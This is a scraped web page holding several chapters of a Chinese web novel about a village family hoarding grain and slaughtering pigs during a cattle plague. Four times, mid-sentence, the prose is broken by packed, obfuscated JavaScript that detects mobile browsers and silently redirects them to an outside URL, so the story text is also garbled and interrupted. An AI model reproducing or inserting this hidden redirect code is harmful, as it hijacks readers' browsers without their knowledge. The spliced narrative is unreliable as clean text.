35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924365|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好……好嘞。”乔冉安愣愣地接过话头，看向傅娘子的目光略显犹疑。 只乔冉安的袖口紧被乔小遇拉过，父女俩接着便出了米粮铺子。 “小遇，你娘这是……”乔冉安回头指着米粮铺子所在的方向，不解地道。 乔小遇笑呵呵地揽住她爹的胳膊，低声道：“娘方才强装镇定，我都瞥见她舌尖发颤了，您怎么不跟着她装几分像呢？” “舌尖发颤？我怎么没瞧见……”乔冉安又回头看了眼，而话音终是沉了几分，“你娘平日里用钱最是抠了，且很少做那赊账的事，今儿买米粮竟敢用预交定金的法子……” 乔冉安轻“啧”出声，反倒觉着自己才是那个舌尖发颤的人，“一转手八两银全出去了，且之后的钱窟窿眼可该怎么填上？” 的确，依着乔冉安家中情形，平日里便是借了谁家半袋米粮，他们也会惦记得夜中难寝，何况现下还欠下了这么多银钱。 “再过段时日，且不知粮价会涨成什么样呢，娘这也是下了狠心。至于那钱窟窿眼该如何填上……” 乔小遇侧眼瞥见她爹紧搓指尖，似在暗恼着银钱在手中还未得以捂热便已用了出去的模样，不禁抿唇轻笑了笑，道：“爹，这八两银的定金总不是咱们凭空变出来的，不是么？” 乔冉安闻言不由得轻皱了皱眉，当中有几根稍长的则似野草叶般轻动了下…… “你是说咱再去野山林？”乔冉安接着呢喃出声。 “嗯。”乔小遇颔了颔首，道：“家里便只有这一条指望了，若是能多攒些钱，咱们许是能从村里买两块地过来种着的……” “买地？”乔冉安听得女儿的话，眸中倏然一亮。 这些年来他听的傅娘子最多的抱怨之语，便是家中地少地贫之类的话，而这一度成为乔冉安心田高埂上的深土坑——不挖妨碍行路，挖了高埂却还容易塌陷。 想及女儿都能进得野山林，且一程便能赚得八两银，乔冉安那原存于心头的不安便被他紧抑了下去，取而代之的是一种跃跃欲试的激动之色。 “还是你娘有主意。”乔冉安憨直地笑了笑，道：“想了想，这钱窟窿眼似乎也不是那么难填……” 乔冉安在心底给自己暗暗鼓劲儿，继续说道：“等咱们再进山里一趟，便去给你长田叔家借了牛，把逮到的东西送到县里卖了，顺便就把存放在你胡四叔家里的米粮运回去。” 他的话音带了几分快活与得意，只乔小遇听得这话，步子却不由得落在了乔冉安后头。 “爹，长田叔家的大黄牛已经生病了。”乔小遇见她爹愣愣地回转过身来，而面上不过带了几分尴尬神色的模样，无奈地叹了声：“且这次买的米粮也不能尽数运回家里去。” 乔冉安不解地道：“这又是为什么？” “一次性运回去……终归是太惹眼了。”乔小遇的心底不自觉地带了一种紧瑟感，话音略沉。 37. 门路凶险 乔小遇心知这种紧瑟感来源于陆桓之前所描述的关于饥荒的情景，而当自家终能存下些粮食来后，总寻思着能遮就遮、能掩就掩，就怕灾祸上门。 正当她心思怔忡间，乔冉安却全然会错了她的意，竟道：“村里人若学了咱家进山打猎寻生计，那也是件好事啊。” “哪里好了？”乔小遇有些哭笑不得，心下觉着与她爹细细说明自己的顾虑实是一件费劲的事，随口轻语道：“若村里人都得知这样的好事，赶着进山，咱们还怎么攒银子？” “真是心眼小……”乔冉安闻言笑睨了眼女儿，只心中到底有了一丝考量。 “再说，若因为咱家的缘故把村里人引进了野山林，当中出个三长两短，人没准会找上咱家的麻烦。”乔小遇又道。 乔小遇也知力所能及处，能帮人总是好的，可问题在于，依着当下家里所面对的情形以及来往打交道的村里人的品性，这种力所能及也需要建立在自身安枕无忧的基础上。 而乔冉安更多的却是联想到了乔长田家的牛生病的事，“你说的是，就道何里正存心抓你长田叔家把柄，竟也硬生生地将咱家牵扯了进去。” “只咱家离村里虽远，这事也不见得能瞒了多久。”乔冉安蹙眉说道。 乔小遇眸间神色不辨喜怒，道：“咱们不必想着瞒多久，只需内情被村里人猜中时的时机是有利的便好。等牛疫爆发开来，官府严令不得进山，那时便是山中有些野物不曾染疫，这条凶险的门路也断了。” “这……”乔冉安肩臂微紧，神色凝顿了片刻后，不禁叹道：“但愿事情不会到那般地步。” …… 斜阳还未落下，近乎透明的弯月便已从青山的那头悄然升了起来。 乔小遇几次回头，但瞥得那步子落在自己身后几丈远的爹娘，再次重复道：“我便说让我帮你们背一些的，可你们怎么也不肯。” 傅娘子闻言只叹笑了声：“便是教你得歇一会儿，你却还不乐意了？” “那是女儿心疼我们呢。”乔冉安口中喘着粗气，见路旁的地埂上有两个歇气窝，忙对傅娘子招呼了下，自己则将篮子靠在其中一个稍微高些的歇气窝里。 乔小遇便也暂顿了脚步等她爹娘。 歇息空里，傅娘子问起乔冉安是否同胡老四说起过粮食要暂放于他家中几日的话，忘性大的乔冉安一时干愣住了。 瞧得傅娘子朝她爹斜翻了个白眼，乔小遇忙笑着接过话头，道：“胡四叔说放多久都不妨事的，就算他有事出了门，家里总有林婶子在，我们什么时候去背粮都很方便。” “这样便好。”傅娘子若有所思地点了点头，接着道：“咱们家从不曾一次性储过这么多的粮，回家里怕是要寻几块板子再钉个木箱才行的，不然背回去自己没得吃，倒养了好几窝老鼠。” 乔冉安抹了一把脑门上渗出的汗水，习惯性地点头以应。 “娘便只打算把粮食随意放木箱里，然后搁在楼板上？”乔小遇闻言却皱眉道。 “啊？不然呢？”傅娘子看了身旁的乔冉安一眼，疑问道。 “我寻思着还是挖地窖好，米粮放楼板上……若三婶五婶她们谁来借个钉耙、竹巴什么的……” 乔小遇语气微顿，有些不好意思地缩了缩脖子，才道：“村里也没这许多规矩好讲，这要是人手头有事，她们自己上楼去寻东西后便瞧见了，这可怎么好。” “且咱家里最近不是在砌山墙么，便是翻出些新土也没人会留意。”乔小遇的视线轻落在她爹身上，眸色仿佛折射着日光的河面一般晶莹。 “那便砌吧，虽然会花上好一段时日。” 傅娘子见乔冉安微睁了眼，面上竟难得有了几分不情愿的样子，当即冷呵了口气，道：“旁人便也罢了，最多不过知道咱家里有粮，巴巴地寻上门来求个几斗，可小遇她那爷爷奶奶、叔叔伯伯有哪个是好相与的？” 乔冉安闻言终是语塞，讪讪地侧过脸去，接着背起篮子启程。 月色渐明，而归家的泥路上似铺了一层银光般，莹莹发亮。 待离家里稍稍近了，乔小遇与她爹娘便也听见了猪仔干嚎的声音…… “这也太吵人了！”傅娘子碎念了句，偏头朝女儿看来。 乔小遇作无奈状，只得呵笑了笑。 左右是到家了。 乔小佩从爹娘背回米粮的兴奋中回过神来后，便开始直倒苦水：“今天儿大早上时，何里正便遣人来寻爹娘了，我都说了爹娘不在，他们还在家里盘桓了好一会儿。” “想视而不见吧，人偏还赖在家里不走。” 乔小佩瞥眼见得她娘往猪圈方向走去的背影，嗓音微低道：“我便装着可怜样在人跟前无理取闹了一回，还扯了姐姐脚受伤的旗，只担心回头村里人会私下与娘说我的不是了……” 乔小遇清楚，妹妹不见得就是怕极了傅娘子，其实她心里更多的应该是一种烦苦，只因傅娘子总将一些关于乔小佩的言过其实的话语听进耳中，转头训斥已然成为一种日常…… 乔小遇伸手将妹妹的头发朝耳后轻拨了拨，笑着劝慰道：“今日那般情形，娘心里明白的，你可瞎担心什么呢？” “真的？”乔小佩疑问地眨巴了好几下眼。 …… 因天色太晚，各自身上也颇为疲惫，家里商量着明儿一早再请人来家里杀猪，乔小遇便与妹妹先到楼上睡了。 然听着楼梯角那处传来的窸窸窣窣的动静，乔小佩微起了身，轻喃道：“爹娘这是做什么？” “许是念着家里还有些猪草，猪又嚎得厉害了，便将猪草丢进猪圈里给猪仔咂咂……”听得院中那道破旧的猪圈门发出的“嘎吱”声响，乔小遇话音平缓地道。 “呃，姐姐，你竟还未睡着的？” 乔小佩惊疑了声，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924366|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手伸将在她姐的头顶上方轻划了划，而乔小遇却终究没了说笑的力气，只懒懒地闭上了眼，糊混了声道：“明天还有许多事要忙呢，你也快些睡下吧……” 翌日清晨。 乔冉安去请了阿婆的两个儿子来帮家里杀猪的消息很快就传遍了整个村子，而前些日子上门来寻事的乔刘氏到乔冉安家里来跟着帮忙时，亦没忍住对乔小遇她娘“啧啧”轻叹：“还未到年前，怎地便要急匆匆地杀猪了呢？” “这……”傅娘子瞥了眼男人们拿了绳子将猪拖上板车，而猪一通挣扎着惨叫的情形，脸色不由得凝顿了下，叹道：“这也是没办法的事。” 傅娘子一边往木盆子里兑了些盐，一边说道：“你们都不知道，如今外头的牛疫都传成什么样了。我们昨日出门，听说旁的镇上已有了病例……” “竟传的这样厉害？”乔刘氏帮傅娘子将木盆端到院中，凝眉想了片刻，神情却像是恍然明白了什么一般，低顿了声问道：“嫂子，你家是不是觉着长田哥家的牛……是真得了疫病？” “这我怎么知道？”傅娘子缓缓抬头，目光不解，“他家的大黄牛到底染的什么病，总不是我与你四哥说什么就是什么的。” “他们爱怎么闹腾是他们的事，怎么也轮不着我家插话。”傅娘子想起这几日里乔长田夫妻俩的所作所为，掩在心窝里的怨气不禁又浮了上来。 乔刘氏见状，面上只干笑了笑，然心头却有了另一番思量。 “哥哥嫂嫂自没有那个本事笃定乔长田家的大黄牛就是染了疫病，只他家里这么突然地就要宰猪了，村里人怎会没有心慌的道理？”乔刘氏直觉着心肺处像是梗了一团草荆般，咽堵得她呼吸不畅。 男人们用板车将猪拖到长案上后，面面相觑了片刻，那割猪脖子的尖刀始终没人主动拿起。 “嫂子，你家当真决定了？”乔根茂看了眼身旁那个的只顾着拉紧绳子的乔冉安，知他并非做决定的那个，便将视线转向了傅娘子，问道。 乔小遇原是带了妹妹在偏屋里垫稻草的，这会儿靠在门口，但见她娘艰难点头，而躲在自己身后的小妹难抑欢喜，便只差手舞足蹈了的情形，心中滋味实在难以言明。 一连宰四头猪，家里可算是忙翻了。 乔小遇从二叔乔根茂刀口下接过一块肉后，便回家紧忙着做起饭来。然这般也是忙到了中午，大家伙才总算把猪肉规放了个齐全。 “小佩，快去请了阿婆和三婶子她们来吃饭，还有家里的几个弟弟妹妹。”乔小遇在灶上忙着，见菜已差不多能上桌，便使了妹妹去唤人。 在偏屋里挪猪前腿的乔根全听得这话，尴尬地瞅了眼他二嫂乔刘氏，忙到门口止了欲|去请人来吃饭的乔小佩，道：“我媳妇儿没来帮忙，怎好得叫上她和孩子的？” “三兄弟说这话可就见外了。”傅娘子从乔刘氏手中接过猪肝挂在杆架上，笑说道。 38. 此地无银 乔小佩终是一溜烟地就跑远了，乔根全的脸色不禁变得讪讪起来。 待傅娘子走开后，他才凑到乔刘氏跟前，道：“不过宰几头猪罢了，哥哥嫂嫂竟还请了家里的孩子来，真是让人不好意思……” “他们都不怕咱两家吃了半头猪，你有什么不好意思的？”乔刘氏打趣一笑，接着垂下头来，暗道：“这哥哥嫂嫂一家，如今竟变得愈发地通情达理起来了。” 话虽如此，可等乔刘氏接着转回灶上帮着盛菜，见乔小遇炒的肉竟有实实在在的几大碗后，却又有些不自然地就着围裙擦了擦手心的汗，笑道：“你这心实孩子，待会儿我与你三婶家的那几个猴崽子可真要把你家吃穷了！” “怎么会呢？”乔小遇回头一笑，指着小灶边煨热着的两只罐子说道：“那里头还煮了排骨呢，准够吃的。” “你这……”乔刘氏咂了咂舌，接着手中却被乔小遇塞了半碗葱段过来。 “二婶，麻烦你往罐子里放点葱段吧，我手上还忙着哩。”乔小遇话音清浅，手上又开始翻动起锅铲来。 乔刘氏闻言不由沉了眉色，旋即又忍不住眯眼轻笑起来。 村里年节前请人杀猪吃宰猪饭是惯例，只一些人家的猪仔若是不大，便只请过来帮忙的人，而主人家里做饭也不过炒两碗肉，另带些猪肝、猪心之类的便好了。 乔刘氏没想到，依乔冉安家里的情况，招待人竟能做到这份上。她走到傅娘子跟前，佯出无奈神色，道：“嫂子，你家小遇做菜可真是……” “真是好吃吧。”傅娘子不曾抬眼看她，接过话头的语气里是一种骄傲意味。 乔刘氏愣了片刻，忙笑意堆叠地点了点头，不再多言以免生尴尬。 直等各自都到了桌边坐下，见得傅娘子热情地给客人夹菜的情形后，乔刘氏方才反应过来，这招待的事并非乔小遇自作主张。 因着人太多的缘故，吃席被分成了两桌，而如乔小佩一般年纪的几个孩子，却是在桌上夹了尖尖的一碗肉后，便心满意足地蹲到院子里去吃了。 被请来吃饭的乔陈氏瞥了眼自家儿子那狼吞虎咽的模样，脸色微红，一边对傅娘子招呼道：“嫂子快坐下来吃吧，旁桌的少了菜，他们自会去盛。” 乔根全笑着对他媳妇乔陈氏眨了眨眼，也跟着道：“嫂子快去吃吧，我会帮忙招呼的，自家人就别那么客气了。” “哎，那好。”傅娘子应了声，见着客人吃得面露欢喜，终才收了心坐下来。 乔陈氏破天荒地给乔阿婆夹了块排骨肉后，敛了几分喜乐神色，对傅娘子说起自己早上忙着照顾孩子，没时间过来帮忙的抱歉话后，却又转过话头，道：“嫂子今早有这时间忙，却也亏得何里正没来烦你家哩。” 傅娘子闻言呵笑了声，心下并不准备应过这个话题，接着低头夹菜吃饭。 桌上气氛倏然凝滞了几分，乔小遇且听得自己口中嚼脆骨的“咯嘣”声响竟那般明显，动作亦不由得放缓下来，余光自几位长辈的面上悄悄划过。 乔阿婆斜睨了眼多话的儿媳，一边用筷子轻将那块摆在饭粒上方的排骨给扒开了去，一边不满地叨念道：“我牙都快掉光了，你怎么给我夹肉吃？” “年纪不在，我这糊涂人便不该到冉安家里来凑热闹的，现下嚼些米饭和甜瓜也就够饱了。”乔阿婆对傅娘子轻笑了笑，道。 她话中有话，终归下了乔陈氏的面子。 乔小遇见两个婶子均绷了脸色，不再同之前那般做孝敬模样了，便笑道：“阿婆可以吃些猪肝，我给剁碎了混着韭菜藤炒的。” “小遇说得是。”傅娘子笑着看了一眼女儿，随即稍立了身给乔阿婆舀了两匙猪肝。 然而乔陈氏终究没能憋忍住心下想说的话，她轻搅了搅碗里的饭食，对乔刘氏道：“二嫂今早也过来帮忙了，却不知方才县衙的兵差带了兽医来村里的事情吧。” 她这话音一落，桌上几人均不由得将视线轻转过来…… “没想到陆桓的动作还挺快的。”乔小遇低下头来，嘴唇轻抿着，继续听乔陈氏说话。 “人是径直往乔长田家里去的哩，你们是没瞧见何里正那惊慌失措的模样。”乔陈氏侧头小心地看了一眼乔阿婆，接着道：“说来，咱们竟不知官府还有心管到乔家村这乡野之地的……这里正之职，也不知何家还做不做得成。” “兽医去乔长田家里？”傅娘子听得前言，与乔刘氏一般都提了神，口中不约而同地问道。 “看来嫂子是真的不知道这事……”乔陈氏话音微顿，面上转为一副了然神情，呵笑道：“整村里的人都去凑看这热闹了。” “早上依旧还打着擂台呢，而何里正此番纠合的人手可不止有他们何家人了，小遇的那几个亲叔伯也跟着去了，直似一副要将人拉下马的架势。菜粉嫂子又指巴着叫宝树来请你们过去，被我一嘴回去了……” “我就说你家忙着宰猪，哪得闲过去听她发号呢。”乔陈氏邀功似的笑了笑。 乔小遇见乔陈氏话说得急，舌燥间本是想低头去喝一口排骨汤的，没想一旁的乔阿婆却生了怒，直将手中的碗砰地顿在了桌上。 “你道菜粉娘子是在发号，我且看你还是个唱戏的呢，这都还唱到别人家里来了。”乔阿婆的脸色如同初冬晨时那结了一层冰晶的黄浆泥一般，又冷又硬。 乔小遇知道乔阿婆向来不喜人搬弄是非，只此番确算得是当着外人的面亲自教训儿媳了…… 乔陈氏的面子已然挂不住，又惊又怒的眼神缓地飘至里乔根全他们所在的那桌席面上，见男人们粗嗓开笑，全然不曾留意到这边发生的情形，她又连忙将眼中的泪给憋了回去。 “我这也不是看不惯菜粉嫂子浑水摸鱼，净欺负老实人不是么……”乔陈氏话音低沉地道，而脑袋却是越埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924367|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越低。 “你当我们几个都听不出你话里的意思？”乔阿婆没好气地轻哼了声，道：“既然兽医已到了村里，相信长田家的牛究竟染的什么病症，很快就会有个说法，你也最好别去凑热闹了。” 乔陈氏闻言，鼻息不由得微重，而她极力忍耐的泣音落至傅娘子耳中，却教傅娘子有些无所适从。 乔陈氏话说得好听，好似是在帮着傅娘子一家般，可即便是如乔小佩这样的半大孩子，也能想象得到村里人的那些闲言碎语究竟是个什么样的风向…… 左右是乔冉安家嘴上虽将大黄牛得病的缘由往自家身上揽了些，心里却是惴惴不安的，否则也不会回头就决定将家里的猪全宰了的话。 而与此同时，乔长田家这样迫着人，便有了几分此地无银三百两的意思，敢情这几日都是存了意蒙着村里人的…… “大家伙也是关心牛疫来着，我且没有多想，阿婆也别多想。”傅娘子抿唇掩过苦色，给乔阿婆夹了块甜瓜放入碗中，道：“您尝尝，这是小遇用甑子蒸的，不生不稀，味道也比用水煮的还要甜上许多哩。” 乔阿婆沉叹了口气，面色虽还未见好，只她到底重新拿起了筷子…… 一旁的乔刘氏见状，也跟着在旁夸赞道：“小遇做厨这样会花心思，味道又好，我瞧着可实在是羡慕得紧。我家那姑娘便不指望了，倒是那混世魔王，日后若能娶到如小遇这样一个乖巧懂事的媳妇，我便能跟着享福了。” 傅娘子心知乔刘氏是存意缓和席上气氛，但说的也并非全都是些场面话，是以面上多了几分真诚的笑意，道：“你且别夸了，这孩子主意大起来，却比她妹妹还要教人头疼。” “怎会？”众人跟着轻笑出声，只乔陈氏的笑意浮得有几分迟缓，似还未从乔阿婆的训斥中缓过神来。 “对了，嫂嫂，我听着冉安哥的意思，你家里这回宰的四头猪竟是打算自己腌了留着的？”乔刘氏问道。 傅娘子轻轻颔首，道：“我们去打听了，近来猪肉价低得很，倒不如等过段日子，瞧瞧腌肉能不能卖出去。” “那我家根茂倒可以帮忙来着，他手劲在，且腌的肉既不过咸，也能存得住。” 傅娘子眼神微亮，连连点头道：“那可真是太好了，小遇她爹腌的肉就是放在通风口挂着也会生虫，也是气人得紧了。” 乔小遇闷头吃饭，且瞧着乔刘氏与乔陈氏这对妯娌眉眼间神色不同，心下不禁低嘘。好的是，乔刘氏见弟妹闷言不语，还是试着将话题扯到乔陈氏身上。 “弟妹，正好咱家里没事，吃过饭后嫂嫂家里还要灌猪肠子，你便也来跟着帮忙吧……”乔刘氏看了眼她这个不懂什么人情的妯娌一眼，话音温和地道：“至于那几个捣蛋孩子，便请娘帮我们两家照应一下吧。” “行，你们且忙自己的。”乔阿婆笑应了声，只到底没那心思去看乔陈氏一眼了…… 39. 狐假虎威 吃过饭后，乔陈氏果然留了下来帮忙做活。除了装些鲜肉肠，傅娘子还用昨日从镇上多称了几斤回来的豆腐灌肠。 乔小遇只是个打下手的，一边还得看着灶上炼油的大铁锅。她且翻搅着肥肉块不让它粘锅底来着，听傅娘子忽然出声道：“小遇，我终于想到给袁大娘子家送什么东西了。” “就送肉肠吧。”傅娘子雀跃地道。 乔小遇轻转过视线来，但见她娘的眉眼竟是前所未有的清亮，仿佛一片嵌在无涯荒漠里的泉湖般，她不禁轻笑道：“好啊，我就说会有合适的东西送的。” 傅娘子也自觉满意地颔了颔首，心情明敞了几分，旋才想及将自己的腰稍稍直起，松了松筋骨…… 几道“咯嘣”声响。 “你俩也别弯久了，当心腰疼得厉害。”傅娘子轻呼出了口气，好心提醒乔刘氏二人道。 “我是不妨事的。”乔陈氏笑了笑，抬眼朝傅娘子道：“倒是你们，怕是自天亮起，脚下便不曾得歇过。” 难得听乔陈氏说句中听的话，可有了饭桌上谈及兽医进村的前情，乔刘氏并不愿傅娘子想岔了去，是以笑道：“也亏了你和小遇帮着，这肉肠才能灌得又好又快啊。还别说，小遇如今都能当半个大人使了哩。” “小遇这孩子我看着自小便是个循规蹈矩的，手上也勤快，倒不似我家姑娘，那可就跟田里的□□一般，非得用木竿子戳下才跳的。” 这般形容实在贴切，傅娘子闻言直忍不住笑意，将下巴朝那正在院中清扫的乔小佩的方向轻抬了抬，低声道：“可不就似我家三姑娘？做家务是从不曾想在前头的。” 乔刘氏二人闻言均不由得轻笑出声，而对傅娘子方才的这番言语，她二人似都不曾觉着有什么怪异的地方…… 可乔小遇不是。 手中的长柄锅勺暂停了翻动，乔小遇不由自主地将视线停凝在她娘脸上，忽觉着身上传来一股刺疼感…… 这刺疼感十分模糊，模糊到乔小遇并不能说清楚究竟是身上的哪一处角落所传来的这种感觉，而这刺疼感亦太过明晰，因为乔小遇知道它产生的缘由。 “娘唤妹妹为三姑娘……”乔小遇心底有个低缓的声音响起。在何小知的事情上，乔小遇本觉着自己是不方便表态的，是以沉默以对，只不曾深想自己的这种态度在爹娘看来究竟意味着什么。 “因为已经告知过，所以觉着就该理所应当的接受，且接受全部？”乔小遇的呼吸变得沉顿下来，对傅娘子这种“刻意性的提醒”只得轻轻摇头。 她是接受了的，但她所接受的仅限于“事实”二字所带的浅薄之义，便如当初——她不也接受了自己穿越的事实么。 “也怪，本以为自己不会为这件事伤神的，如今却不知不觉地心存计较。”几不可闻地轻叹了声，乔小遇一通胡思乱想，接着却听得院中穿传来一阵急促的脚步声。 “呵，四弟，你家里果真宰猪了哩……” 乔小遇与她娘且不必将头伸出去看，也知来人是谁。仿似染上了一股子晦气般，傅娘子往肠子里塞豆腐的动作不由得重了些，直将肠皮给撑破开来。 “嫂子……”乔刘氏瞥了眼傅娘子，口中本想说两句安慰的话，却也为傅娘子那沉穆的脸色所抑回，皱眉道：“二哥这当口来也不知为的什么事，嫂子还是跟过去看看？” “这破了的肠子便交由我们来处理吧。”乔刘氏眸色微暗，轻探了乔陈氏一眼。 两人接过肠子来，见傅娘子缓将起身，才收回目光，拿过剪刀沿着肠上破开的那处口子小心剪开，将边缘处装着的豆腐给掏出来…… “二伯竟还带了两个差役来？”乔小遇稍将步子朝后轻退了退，得以看清院中的情形后，却也明白了她二伯乔冉临的来意。 乔小遇她爹娘亦认识到了这一点，只暂管不得乔冉临说的那些阴阳怪气的话了，但听差役要他们跟着走一趟的话后，心神便不由得紧张起来。 “不知官爷找我们过去是为的什么事哩？”傅娘子面上浮起一抹不自然的笑意，话音亦显得十分干涩。 “叫你过去就过去，能有什么好说的？”乔冉临粗声粗气地道。 他这般趾高气扬，乔冉安夫妻俩却因着官差在场而不敢回口，心下生怕再牵染上牛疫的事。 乔小遇且瞧着在场的乔根茂兄弟并不敢出言帮衬，而自家爹娘没有什么见识，露怯便也罢了，可紧绷的面皮却已然忍不住颤抖起来的模样，却是气得不行…… “不过是个跑腿的，哪里轮得着他狐假虎威？”乔小遇径直将手头的活计放下，朝院中走去。 “四弟啊，不是二哥说你，你家里宰猪竟这般突然的？不往几个兄弟家里送几斤猪肉也就算了，吃宰猪饭竟也不叫老爹老娘？良心都被狗吃了吧！” 乔小遇且听着她二伯骂骂咧咧，当即便似换了副脸孔般，说道：“二伯这突然跑到我家院子里来骂人也好生没有道理！咱几家的事村里人是清清楚楚的，我爹娘一向只求井水不犯河水，没想二伯今儿倒是仗着谁的势了，又来欺我家里人！” “你说什么？仗势欺人？”乔冉临木愣了片刻，待看清说话的人竟是乔小遇后，面色不由得一变，指着乔小遇便要粗骂出声。 “您也可以继续在这里骂人，倒不知两位差役能等你到几时？”乔小遇冷眼瞧着她二伯气急得不行，只接着转身对乔冉安夫妻俩说道：“爹、娘，你们且跟差役去长田叔家那边回个话，这件事本来就与咱家不相干，你们不必担心什么。” “这……果真？”乔冉安瑟瑟的目光从两个看起来严厉威蛮的差役身上划过，不由得吞咽了口唾沫问道。 然而并不待乔小遇朝她爹点头示意，也不待乔冉临指着乔小遇的鼻头再次破骂出声，随行而来的两位差役眉间已划过一丝不耐，道：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924368|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们来所为公事，便当是公事公办，所以谈不上横加冤枉……” “更也谈不什么仗势欺人。”说话的差役笑眼定定地看向乔小遇，待见她神情微缓，才将视线转向乔冉临。 乔冉临被差役盯看得心里发毛，赶忙将头垂了下去。 “您说的是。”乔小遇抿唇轻笑了笑，接着走到她娘身前，托住傅娘子的胳膊往石坎下头走了两步。 “没事，爹娘自己会走的。”傅娘子回头瞥了眼思绪不宁的丈夫一眼，却是轻轻推开了乔小遇的手，轻喃道：“我们一会儿就回来了，你且先看着炼油。” “余下的油渣……你若不会弄，便叫你二婶她们帮忙，裹些油渣面出来，你妹妹爱吃。” 傅娘子心里终究带了几分紧张，话语间便不自觉地开始唠叨起来。 “嫂嫂放心去回话吧，我们帮你家做油渣面。”不知何时凑到门边的乔陈氏，且听着傅娘子这般说，口中笑声应道。 “快走吧！”差役终于开始催促，还未完全回过神来的乔冉安听了唤声，松软的腿脚险些一个踉跄，接着却也跟在傅娘子身后出了院门。 乔小遇瞥了一眼爹娘的背影，旋才垂目迎上妹妹那忧心忡忡的眼神，柔声轻笑道：“不用担心什么，你先进屋里去吧。” 她话虽这般说，可心头却未见得松和几分，是以等妹妹进屋后，乔小遇的脸色便僵冷下来。 “没想官差竟会在村里盘桓那么久，且又来问询爹娘，只怕长田叔家的大黄牛是真的染上牛疫了。”乔小遇想要将心头所憋忍着的那口气长舒而出，却发现那口气已然冻凝成了一团，糊在了嗓子眼处。 她四顾了下周遭，发现来帮忙做活的二叔三叔两家都在低声讨论此事。至于乔冉临…… 乔小遇且瞧着她二伯蹑手蹑脚地往自家偏屋的案板边在走去，正想去搬油缸装油的她，脚下步子不由得一顿，笑问道：“二伯，您怎么还没走？” “呃，我这……”乔冉临闻言一惊，方才触到那块抹了盐的腌肉的手连忙收了回来，干笑了笑，道：“我这不就是随意看看么。” 乔根茂兄弟俩听得这话也抬起头来，怔怔地看向乔冉临那张皱褶堆叠的脸…… “这有什么好看的？”乔根全呵笑出声，道：“二哥难不成是来帮忙的？” “这倒不是……” 乔冉临尴尬地摆了摆手，却未见他有半分离开的意思，倒反而在屋里来回晃悠了两圈，最后指了大锅里放着的几节火腿说道：“小遇，我瞧着你家的猪还不大啊，你爹娘怎就舍得宰了呢？” “我爹娘跟着差役去回话了，您若有什么想问他们的，可以跟过去问……我们姐妹俩不知道个中缘由，没法做主。”乔小遇笑了笑，索性将上身倚了门边，而视线则随着乔冉临移动。 乔冉临听她这样说，微仰着投向梁上那个猪脑壳的视线不由得回转过来，话音半噎。 40. 提说恩情 这情形看得乔小遇饶有趣味…… “你爹娘不在也没事，二伯便将这只猪脑壳肉拿回去煮了，回头你与你爹娘说一下便成。”乔冉临复又舔了脸皮，便如此间是他家里一般，伸手去拿猪脑壳的动作极为自然。 乔小遇惊愣得抽动了动嘴角，忙出声道：“二伯，我说了我们姐妹俩做不了主。您今儿要真的把我家里的肉给抢去了，我便只能去到官差跟前强行把我爹娘叫回来的……” 她略显急促的话音便这般顿在了半空，而已将猪脑壳摘放在手头的乔冉临亦是身形僵滞……如手负铅石，乔冉临一时进也不是，退也不是，心下暗恼着乔小遇实在不识相，就那般硬生生地堵在门口。 “这怎么能叫抢呢？”乔冉临面上挤出一丝干涩的笑容道。 “人未允了你，你便私自拿了去，这还不叫抢？”乔根茂将手头的那大半块猪肉给摊放进锅里，接着走上前来，冷眉道：“二哥，倘若今日就小遇她们姐妹俩在家便也罢了……” “可我们两家还在这里帮忙，大家都看着呢……你难道想着我们出了这门去，说你手上拿的这猪肉竟是四哥家里孝敬你的？” “孝敬”二字听来实在太过刺耳！村里这上上下下的谁不知道，乔冉安家与他那几个哥弟家究竟有多不对付？ “这关你们什么事？” 乔冉临瞪了一眼说话的乔根茂，回眼瞧得乔刘氏等两个妇人也转到了偏屋来，气道：“妇人都是些长舌精，且随你们外头到处乱传话，左右乔冉安欠我们哥几个的恩情他这辈子也别想还清！” 话至此处，乔冉临不自觉地拔高了自己的语气，接着道：“我现下就只拿他家里一个猪脑壳，哪里轮得着你们这些外人指手画脚？” 